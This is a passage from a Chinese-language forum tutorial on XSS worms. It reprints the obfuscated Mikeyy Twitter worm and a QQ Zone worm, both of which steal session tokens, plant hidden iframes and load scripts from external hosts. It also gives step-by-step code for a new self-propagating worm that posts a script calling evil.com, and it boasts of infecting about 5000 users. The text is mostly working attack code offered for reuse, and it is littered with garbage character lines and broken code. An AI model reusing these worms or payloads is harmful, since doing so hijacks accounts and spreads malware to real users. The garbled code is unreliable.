9 }" n" [+ {! ?6 O( e$ u! M6 {</script>
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
! |: Y$ L5 t( p7 d
& g6 B/ h5 k6 ?4 Y) J# kvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
0 k4 _0 t/ Q% I
/ ]$ m/ g0 ~1 S9 q
% I  v/ ^/ Y' B: y2 L, l4 _0 e
XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
1 \. e- s% Z, m& v
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
( |/ E" \8 n% f  下载 (5.1 KB)

6 天前 08:27
  v$ ?( |  C- {. i. w. y4 i. j6 t
  g; \* E7 Y3 l& {5 x第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  
. e& j" D, O4 k% `) w4 |; f% c7 @
   2.   
' x' y5 [, r" m. S4 ?
   3. function XHConn(){  

; r- l9 W0 A) [2 h/ B3 P$ w3 p* ~: ?( r   4.   var _0x6687x2,_0x6687x3=false;  

8 m0 X# t& F2 R. Y0 b   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  

2 N+ B5 U( h4 S   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
复制代码第六版:   1. function wait() {  
" p: Z3 J# B, Q$ t4 Y1 a
, h' D, n" H8 ?; {  I   2.   var content = document.documentElement.innerHTML;  
; E8 N$ T8 S$ |$ i0 u
. e% P9 e' e% C9 f# s; }   3.   var tmp_cookie=document.cookie;  

   4.   var tmp_posted=tmp_cookie.match(/posted/);  

* X. V( v8 J4 B; G   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
& h! @( X' D6 |' X9 i- C( H! U, k
4 i# T. d  R3 `6 b. y! \   7.   var authtoken=authtoken[1];  
6 a2 s  W$ j& I4 Z* I9 H1 n5 m
   8.   var randomUpdate= new Array();  
& A( b6 w# w" Z$ @9 n/ K! J; x- K
   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
# g# {* H2 N9 r" l3 y+ P
: y! A3 w3 B6 e% m! J9 _5 C  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
# d  M& J( d3 x2 g9 ?. \- M3 F
. Q& `/ e# S4 M5 ]( C* u& T  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  

  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  

' `- [7 c* n( K0 c7 g2 B5 Y6 l# Z6 U  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
1 M% R5 y) [* n- h6 M! z
& V0 W7 A/ a* [  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
; @9 g" a9 H% f4 @
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  

  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  
8 X+ W5 t! H4 C) U
  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
3 m$ m. u) h" W  J
( G8 D# N1 W$ ^. b9 u4 d  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

0 F" z0 Y, d+ l* {  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
' G/ ], X# ?; U  p0 f
' l! S) D) T: o. F) {. J  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
# v! i9 Z& y! T" C6 v
8 ?" A2 G8 k) E# O$ T  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  
) [/ _/ t' X0 s7 \
2 l' o; B# w0 E  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
. H6 F5 Q: l4 m* s5 f3 }
  24.     

  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
% y0 W% f: X) b  U
6 v; n0 N$ j! n9 t, [  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     
) T. Q2 d8 D. m3 _% k1 i2 `) @6 i
  28.   var ajaxConn= new XHConn();  
+ g& e2 D3 c4 s) ^* ~; C% A" j
  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
8 v# i7 B2 J" H: }# _* T
: |, l- \) e$ {  30.   var _0xf81bx1c="Mikeyy";  
. B0 ]# O, T6 K  M  Z' }/ H
  31.   var updateEncode=urlencode(_0xf81bx1c);  

  32.   var ajaxConn1= new XHConn();  

! F+ w  Z" t$ F  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
' o- d* r& _5 J! I: R
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
/ ^' u% Y5 S( n, X. b
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
" `8 M2 x+ \( p) D" ]
  38.     
: Q" J6 E( h+ e
  39. } ;  
2 N& O, i" e6 n
. i4 f- r- n, l1 k/ o  40. setTimeout(wait(),5250);  
5 f3 i! [$ A: ]. p  }; `复制代码QQ空间XSSfunction killErrors() {return true;}

window.onerror=killErrors;



var shendu;shendu=4;
, x; A8 f! F6 l1 l' E
//---------------global---v------------------------------------------
6 k1 l* x* Z# \4 j6 F( T5 l7 V
9 F! Y) b0 P1 _( ?8 H9 |) j4 N//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

0 x" X( Z5 K: k# ]7 d- |# wvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";

var myblogurl=new Array();var myblogid=new Array();

1 ]& l6 I, I  |        var gurl=document.location.href;

. A; p( @3 z- T- x/ j! c; z        var gurle=gurl.indexOf("com/");
  I+ K6 m. T5 {2 Y- M" _) h
        gurl=gurl.substring(0,gurle+3);        
5 x7 e( [1 b8 R
1 j$ q) v$ t! ~# f; o        var visitorID=top.document.documentElement.outerHTML;
$ D0 f, g. o+ G; E! U7 U
5 d0 v. y7 g1 ]( T& Y0 Q           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
& \& j  s# ^9 S! \& \; `
+ P. }- {! C( S        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

% `& b: r3 n3 V/ |& J; T        get_my_blog(visitorID);
+ \+ O8 K$ n" L* P$ i- F6 M
+ `* M2 w# G$ G8 D" I( t) I" ?        DOshuamy();
7 c  h- w9 {  l. g
- Y4 F" x/ d8 o5 @

//挂马
2 i/ x" E& s  N& J! `% \0 X
4 p+ \4 ?, V; t. ]' Bfunction DOshuamy(){
# j0 `2 T) A; ?* k
var ssr=document.getElementById("veryTitle");
8 W6 D. b* N6 M5 S
$ Q; B% p' u, hssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
6 E& {6 a. I- f( ^4 [9 X: c' E
}
8 n6 j5 N4 ]4 u' y( {
2 F# o9 E. l( Y

( X* x4 [" ]* b" v4 a2 L, V//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
" x: z4 A( a' P4 Q
% h* q2 T+ c  P$ @$ |, c& i2 G; Sfunction get_my_blog(visitorID){

( T7 t+ m; f% k9 j. n% R- q" M6 c6 o! R   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的
* K8 Y  J7 D6 k5 p0 g" P
* e/ }+ ^( }2 ?! a9 B+ A% z6 Z     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
4 U6 `4 ]7 \% _5 S! Q
  z' g) [# G& I3 x4 f     xhr.send();guest=xhr.responseText;
3 t" i) m7 T  x- Y1 I% t  P
; @" Y& ]2 t1 ]9 U, H     get_my_blogurl(guest);    //执行这个函数

    }
# z$ F& h& R0 V9 u" D% I
}
9 f+ i( ~9 L5 Y# Q' X


//这里似乎是判断没有登录的
) o+ i& ]; y4 G
function get_my_blogurl(guest){

3 y, k; v6 d' f. F+ A4 K# @  var mybloglist=guest;
  x7 p/ Y0 c5 ^2 c* ^
  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){
& m& A( n5 V5 ^2 X! k0 y
2 K. V! B( e9 u8 ^     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了

     if(myurls!=-1){    //找到了就执行下面的

         mybloglist=mybloglist.substring(myurls+11);

0 t: H; S& e( \- y+ K) _" I         myurls=mybloglist.indexOf(')');
6 |- N) G0 f9 g4 A7 o# ^8 P
         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
* T4 ?- |! S* t/ L
& ]5 x$ Y" m: t' ~, K. K}
% N2 I5 e2 F6 \- E. b( p- ~: \( t& i
get_my_testself();    //执行这个函数

}

+ z" Y' t# M# ~3 a: ]  Y

//这里往哪跳就不知道了
+ [( k2 T7 N) [. `+ ~- o2 [
function get_my_testself(){
, H7 I+ K4 y9 i; n; y
  for(i=0;i<myblogid.length;i++){    //获得blogid的值

- _* m  E$ j- b4 K$ H* z, z      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
& h; {' ]( {, R1 h
% y# O0 b' V" T      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功

" M1 Z4 U) S3 f+ ~$ ]" u              xhr2.open("GET",url,false);     //打开上面的那个url
1 I; F" }- G0 X# S& B# f
              xhr2.send();
( {+ |1 q* ]3 ]& ?
              guest2=xhr2.responseText;

              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

$ a7 y( l7 P( N4 \) i              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串

              if(mycheckmydoit!="-1"){    //返回-1则代表没找到
* T+ _4 E2 P" X/ u1 q4 O
                targetblogurlid=myblogid;   

5 _2 C& b: C" ^; n1 Z8 X* Q; ?                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它
# \+ T% v" I# A9 u* \+ J
8 N5 b9 p9 J% {: d# m3 R4 N                break;

1 d% q2 Y7 f$ R. @- }& F- }: U               }
2 Z- K: V. n, T" }& M# `6 C
6 ^; G* l* ^4 J              if(mycheckit=="-1"){
; g- Z9 q% M. S
                targetblogurlid=myblogid;
. T" K+ J) x: l9 Q$ b) v
                add_js(visitorID,targetblogurlid,gurl);    //执行它
6 {, Y( V6 C. G  t2 ^# e$ X
9 W7 e6 b1 h5 ?- a+ T                break;
0 n' w( I1 Q2 q' ~# D7 d
               }

        }      

. f! f; M; l( z}
  r, D* |2 _1 [2 _9 [. y: f
}

2 i9 I; _+ Z2 _3 ~7 u8 U) ^% D

1 T: M2 l& U5 `9 v; x//--------------------------------------  
6 ?& ~* i+ v! O" W: U. C& M
4 \. `. h: z/ ]5 n//根据浏览器创建一个XMLHttpRequest对象

. ~$ |) v' d6 T, {0 @0 ]3 }) Pfunction createXMLHttpRequest(){
% X& _' x# k) R/ y$ O
    var XMLhttpObject=null;  
  q( _8 K& p% D- D2 J; G6 v1 N. w
- n5 a& l6 ?! @! W7 ~    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
& t6 |+ P3 H0 {' L+ D& m7 M6 Z% j* q
, e$ ]; q- U. V" t" W. R    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

4 F: B! |. M8 t- Y# r5 Q        for(var i=0;i<MSXML.length;i++)  
4 ?6 C$ ?* q- M. W) z9 _
        {  

7 ^9 x( [+ U& {/ R# Q& j            try  

4 `- o% @& z; ]! n$ n' u5 g            {  

                XMLhttpObject=new ActiveXObject(MSXML);  

% W1 z! v! `! Q, ~                break;  
5 a5 L% w3 o+ z' n/ I
- O5 V0 N' w, O1 ?1 |- [            }  

. ~4 z# }4 J- \& V" r            catch (ex) {  
, K& x7 e1 ]3 @" d2 W, [
            }  
8 u' R6 n( |3 L' X/ K
4 o0 M- }/ V2 V- g, A         }  

      }
8 e- r" w+ g/ O; g- F
return XMLhttpObject;
: ?) t6 ]( l$ D* S
}  

% L9 W3 \: D6 D
, j3 p+ j( w8 l* w! F& |8 S4 t
//这里就是感染部分了

/ L4 v  H3 b: a: A7 m% I' I# u+ s# ]function add_js(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');

s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';

document.getElementsByTagName('head').item(0).appendChild(s2);
) [. {. P; F& Z. F' N6 F
6 s! P% O) U3 b9 [}
/ g, d3 u3 J# q8 }
  r$ ~! P1 x) j3 [  I" R$ B# m

" d, {/ Q# j* i- d1 K' g, R  Jfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
8 a& F2 Z8 ~3 Y2 P  D, q
. q( h( p' v1 ~3 k& L  o7 ^0 b4 Zs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
- W  J: [5 T( w0 C
document.getElementsByTagName('head').item(0).appendChild(s2);
6 P4 l/ Q5 X- \
}
0 ^' E. S, }9 n( ^4 x  l0 D+ L复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
9 h* a2 H4 Q: ^! Q) L1 |5 y1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
: l+ ~1 p4 x; j9 M
0 n0 {( A9 a1 ?3 A5 U" `' k综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
7 y, A6 w4 B2 X+ s' j3 C0 Y0 {
3 R- J- d+ b* l! z# C8 _
* D" E7 E+ l2 \  s9 @- i  \1 y下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
+ U8 T' l( k" I5 P% f* R
首先,自然是判断不同浏览器,创建不同的对象var request = false;

if(window.XMLHttpRequest) {
$ v* W/ L. D! a/ [3 I2 C
- k0 q+ J  J" x( y+ [/ \8 ~request = new XMLHttpRequest();
3 J7 D' @% |1 T/ R; S# h
if(request.overrideMimeType) {
: y  q6 p0 W7 I7 q' t
request.overrideMimeType('text/xml');
& J1 G" c3 i3 G2 v
}

% x% e) d( J1 h} else if(window.ActiveXObject) {
5 U, H& l4 t0 f' @: b8 m
5 I3 ?9 l# g0 S, q; nvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

for(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);

} catch(e) {}
4 @' i, \- j1 C
1 e8 C, Q0 y& A0 z}

}

xmlHttpReq=request;
) o( D9 C8 w- A6 R3 {复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){

        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);

& y. a1 L, K, M. _; j  o" t4 R        var Browser_Agent=navigator.userAgent;

        
( R+ |. c8 D- ~5 x
        var Actual_Version,Actual_Name;

        

# z# k6 o4 p; s2 b6 Y- q        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
- J4 Z' x8 M0 P4 W2 F
        var is_NN=(Browser_Name=="Netscape");
) B$ q  s- b# f  D, c) c
7 _8 |/ y8 n# v4 C9 c7 C, w9 \# T        var is_Ch=(Browser_Name=="Chrome");

        
" j& t8 E0 h! H$ ?9 z/ U$ e
8 z5 H9 a2 |% ~& X( j5 w9 x. L8 }6 I6 R        if(is_NN){

% w0 T6 p: R$ W            if(Browser_Version>=5.0){
5 v2 e- d# G. U. L' J1 T. }
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
' ]& ^8 m% n6 ]7 E4 L4 X2 W
/ O8 }) ]* B+ R, Z7 I                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);
+ r8 t$ q% v' m, f% z( e  k
& F! M9 w: T( ~1 ]' O& u
7 P9 |; m+ A0 h' f- ]. A6 l& d
- D- x0 [# @% F, G5 C                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
# q, m0 k" B+ _( }& i6 y  M4 c  {
* a  A+ q. Q# H5 @4 G: _                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);
' U3 e3 g8 g5 x9 d+ r: c
            }

            else{

% C( Y7 t3 y9 K. o3 X) t( v                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;
  X7 {& c8 t4 [+ v1 |& W
3 B- L7 n+ N" Q) d' H# T            }

        }

% Q7 U5 f8 }# ~' ?0 `( E  o9 f# {8 \        else if(is_IE){

            var Version_Start=Browser_Agent.indexOf("MSIE");
5 \1 h2 |1 Y: d( p. q) Q) x
            var Version_End=Browser_Agent.indexOf(";",Version_Start);

% ?; P" g3 J8 F( |( I  h            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
. I; Z. J9 s- M- q# S' f8 A0 N) ]
+ A! }9 z% i3 d0 H# E. v            Actual_Name=Browser_Name;
5 C+ Q3 n. O3 B7 V  W
            
9 T- U. x) q; f& V
* v1 o" ^- p$ d) u            if(Browser_Agent.indexOf("Maxthon")!=-1){

* l+ ^) M9 K! T                Actual_Name+="(Maxthon)";

+ O8 |6 p* w9 v/ l            }

            else if(Browser_Agent.indexOf("Opera")!=-1){
3 S& F. M4 e' x4 g5 c- C9 `
+ j& Z+ x8 J$ ~  S1 \3 e+ E+ d                Actual_Name="Opera";

                var tempstart=Browser_Agent.indexOf("Opera");

4 S4 O# {& x; X: x                var tempend=Browser_Agent.length;
. @# c9 [  ~/ ~% p' g
( H- D2 V1 C1 K; l1 W" }# i- ]8 j                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

        }

        else if(is_Ch){

7 |: d& r* s- D6 V( F. _            var Version_Start=Browser_Agent.indexOf("Chrome");

; r! x% h/ M5 ?/ x6 L            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;
$ H! d$ ^! {1 |9 V5 E+ }) z
0 ~" R( y( P/ [$ u0 C            
2 C+ Z! L5 T- @! b
            if(Browser_Agent.indexOf("Maxthon")!=-1){
- p8 n3 N, W$ _- e: z0 x* H
+ e* A+ n, u- }                Actual_Name+="(Maxthon)";
3 s- A/ W# z% y6 G5 O/ ~% U3 q
            }

6 y; N6 c) S/ Y5 J9 G            else if(Browser_Agent.indexOf("Opera")!=-1){

                Actual_Name="Opera";

+ O5 V6 n6 ?1 [& P* ~8 l                var tempstart=Browser_Agent.indexOf("Opera");

! \4 R, y1 j# T2 T9 Z                var tempend=Browser_Agent.length;
) |+ P  }9 S* b2 X* [5 ?) P/ \( J  I
                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
8 c7 |3 k- t' P$ T
5 \' ~( S# M# P" f3 v            }

        }
, i1 R# t% U7 H/ j5 {5 q
        else{

  U$ M5 M: H" {/ b; N* B" @$ X            Actual_Name="Unknown Navigator"
3 _0 x, _' i1 ^
            Actual_Version="Unknown Version"

        }
# r. B% J5 m& n8 h6 w0 @  l3 X. c0 \9 U
& T5 a  [7 Y( {$ X1 f5 U
7 V# Q+ R( B2 [' `3 [4 h/ l, u
- t5 E1 |% ?7 X3 ~        navigator.Actual_Name=Actual_Name;
) U; N" I$ E* r2 ~  S) T8 p
2 \1 }6 ~0 o( w, ?, `, y, r        navigator.Actual_Version=Actual_Version;

8 |1 _) U! o1 S# r5 A# Q        
) L( o9 g# \3 j# f  P) `
: J$ z. W) G7 g8 o: x        this.Name=Actual_Name;

        this.Version=Actual_Version;
* _! p' S" I# j! K* B, Y! P
% z6 d: L( t  |8 F2 y) \4 u    }

& p  D+ i  J) p/ Z/ z6 j    browserinfo();

! U' W( |4 ^. \. G9 H9 e2 _    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

0 b0 o; _* ?. C! j* Y    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}
# w7 U1 w. G: Y8 _
6 D6 s6 n9 \# t5 w5 I! C    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
* c# ?- i  {  d8 I6 N1 e( b; k
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
, U7 c5 \+ R" j7 c: n. j复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
% z# U1 ^; f6 E' B: g! ^) p复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
  a- }. s% I! t$ B' @4 ]复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
9 V! ^/ x+ \: O
4 n  N) ]: O+ d0 m# Y& r; zxmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
  l0 L3 v; v% S8 T  t
var id=0;var result;

var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.
& v% z4 J* g% M. L  w5 L
) c1 E3 d( |2 U5 ]while ((result = patt.exec(resource)) != null)  {

id++;

}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

, J* T: \2 b# K6 yno=resource.search(/my name is/);

% F- A# {( X/ J% |$ ?2 V+ J4 Uvar wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
9 ~" h% j. W$ E, X# V
: w4 k( q% K, _var post="wd="+wd;

4 H0 M& z( I' Z% LxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

4 o8 m" n3 _5 v" v4 [1 WxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);
- d6 v9 d3 l% _5 _1 y/ b
- z7 Z7 W0 n4 h8 E9 h" `$ k6 TxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
3 C* v4 n& e  D8 z
}
& l" Z  o0 I. S3 D复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

7 N+ L1 ^5 z* W  J7 T2 yvar no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方
, G+ R" r4 V8 L" O2 }6 `0 H- A
  r& d# }9 D9 n. Y9 M5 jvar namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

( s6 c$ D6 g7 N( H% ]9 M6 ^8 q/ fvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.
* ]/ M# x- o2 t4 |8 v4 v
var post="wd="+wd;
' G( b- W4 Z7 `) `" b: p
xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
1 A( Q  S% X" b- h9 u3 C
+ V6 k/ l$ S3 A3 J* ~* t0 E2 o8 V6 pxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
5 c! |& ]5 r$ s/ s
& n3 d8 s; a' xxmlHttpReq.send(post);                 //把传播的信息 POST出去.
- `$ L9 L( h2 i) z9 \
% N9 U7 N7 _' l}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
6 b- f! v; ?  X( D6 M0 A
  r7 k% \: W: l

本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
! g5 k. s( \8 P/ _+ h操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

( i+ o! e6 O, b; X1 v


4 @) F' o$ `' C6 C$ v5 F
% p+ m3 i7 p+ l( u# j/ _. @, R4 R
/ _& `, P9 I, w5 y
4 k: c" H9 s. b) d- i; G2 \) G
0 l( H2 c- S( [* A本文引用文档资料:
0 L& B9 x( \8 g. K! z# M8 g% o3 Z
* P* i. X; ^( \. h"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
% W2 y, N+ ^7 L% ?  x2 @# c+ Z"Cross Site Tracing" (Jeremiah Grossman, January 2003)
% n# j/ d  ^4 y7 r9 N$ Bhttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
9 V/ H4 y4 u% Z7 ~8 O空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/